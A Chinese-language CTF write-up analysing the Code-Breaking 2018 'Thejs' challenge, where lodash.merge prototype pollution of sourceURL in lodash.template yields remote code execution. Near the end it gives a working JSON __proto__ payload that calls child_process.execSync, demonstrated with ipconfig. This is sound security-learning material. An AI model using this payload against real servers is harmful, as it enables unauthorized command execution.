原型链污染例题实现
Code-Breaking 2018 Thejs 分析
下载配置环境,我这里是在本地进行环境配置
https://github.com/docker/compose/releases
https://github.com/phith0n/code-breaking/tree/master
下载内容如下
将其放在nodejs下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ETnueQvl-1691235128300)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230805155705526.png)]
然后更改views目录下的index.ejs文件,改为本地的ip地址,用于加载前端页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h9f9Q3Cc-1691235128301)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230805155833355.png)]
然后启动server.js文件进行监听
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FzWEcyu0-1691235128301)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230805155923472.png)]
之后使用浏览器通过IP地址和端口进行访问
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GFA48FFi-1691235128302)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230805160010355.png)]
可以进行功能测试[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s0tluGQi-1691235128302)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230805160214202.png)]
后端代码分析
主要代码如下
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
lodash.template
一个简单的模板引擎lodash.merge
函数或对象的合并
以上代码简单逻辑就是用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。在上述的功能测试那一块有体现。
而这里的lodash.merge
操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template
中。我们看到lodash.template
的代码:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
// Use a sourceURL for easier debugging.
sourceURL 空
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
options是一个对象,sourceURL取到了其options.sourceURL
属性。这个属性原本是没有赋值的,默认取空字符串。
思路就是通过merge函数的漏洞,对sourceURl进行原型污染,达到任意命令执行的目的
所以这里给Object对象中都插入一个sourceURL
属性。最后,这个sourceURL
被拼接进new Function
的第二个参数中,造成任意代码执行漏洞。
将带有__proto__
的Payload以json的形式发送给后端,因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便
使用BP进行抓包
开启浏览器代理
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B3Z4IXZ1-1691235128303)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230805164046703.png)]
进行抓包
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nyAsRHLW-1691235128303)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230805164024320.png)]
然后将Content-Type: application/x-www-form-urlencode
改为Content-Type: application/jso
格式
之后进行重放发送
{"__proto__": {"sourceURL": "\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('ipconfig')}\u000a//"}}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R97TJ2IZ-1691235128303)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230805170645235.png)]
发现已经成功执行了ipconfig命令获取了本地的网卡信息。也可以执行任意命令。